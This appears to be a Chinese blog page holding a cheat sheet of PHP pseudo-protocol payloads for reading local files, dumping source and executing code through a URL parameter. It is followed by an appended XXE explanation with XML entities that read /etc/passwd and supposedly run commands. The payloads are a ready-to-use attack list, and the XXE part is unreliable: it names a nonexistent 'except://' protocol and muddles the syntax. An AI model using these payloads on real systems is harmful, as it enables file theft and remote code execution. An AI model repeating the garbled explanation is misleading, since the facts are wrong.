利用伪协议实现命令执行

访问本地文件:
?c=file://[文件绝对路径]
文件源码读取:
?c=php://filter/read=convert.base64-encode/resource=[文件名]
php代码执行:
?c=php://input  再经过POST请求执行命令
?c=data://text/plain,[php代码]
?c=data://text/plain;base64,[base64加密后的代码]
访问压缩文件中的子文件:
?c=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
//下面两种用于.zip无法直接上传而命名为.jpg时
?c=compress.bzip2://[压缩文件绝对路径或相对路径]
?c=compress.zlib://[压缩文件绝对路径或相对路径]
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先需要了解什么是XXE漏洞,它是指攻击者可以通过向Web应用程序发送恶意XML文件来触发应用程序内部的XML解析器,并导致攻击者能够读取任意文件执行任意命令等攻击。 接下来,我们需要利用XXE漏洞调用except伪协议执行系统命令。except伪协议是一种在XML文档中嵌入任意数据的方法,它的语法如下: ``` <!ENTITY name SYSTEM "file:///path/to/file"> ``` 其中name为实体名称,可以在XML文档中通过&name;来引用,file:///path/to/file为要读取文件路径。 我们可以利用这个语法来执行系统命令,具体步骤如下: 1. 构造包含XXE漏洞的XML文件,例如: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo> ``` 这个XML文件包含一个名为xxe的实体,它的值为file:///etc/passwd,表示要读取/etc/passwd文件。 2. 将XML文件发送到目标应用程序,并触发XXE漏洞。如果漏洞存在,则应用程序会解析XML文件,并读取xxe实体的值。 3. 修改实体的值,将它改为要执行的系统命令。例如: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "except://`ls /`"> ]> <foo>&xxe;</foo> ``` 这个XML文件将xxe实体的值改为了except://`ls /`,表示要执行ls /命令。 4. 再次发送XML文件到目标应用程序,触发XXE漏洞,并执行系统命令。 需要注意的是,如果目标系统禁止了except伪协议,则无法利用这种方法执行系统命令。此外,执行系统命令可能会产生安全风险,建议仅在测试环境中使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值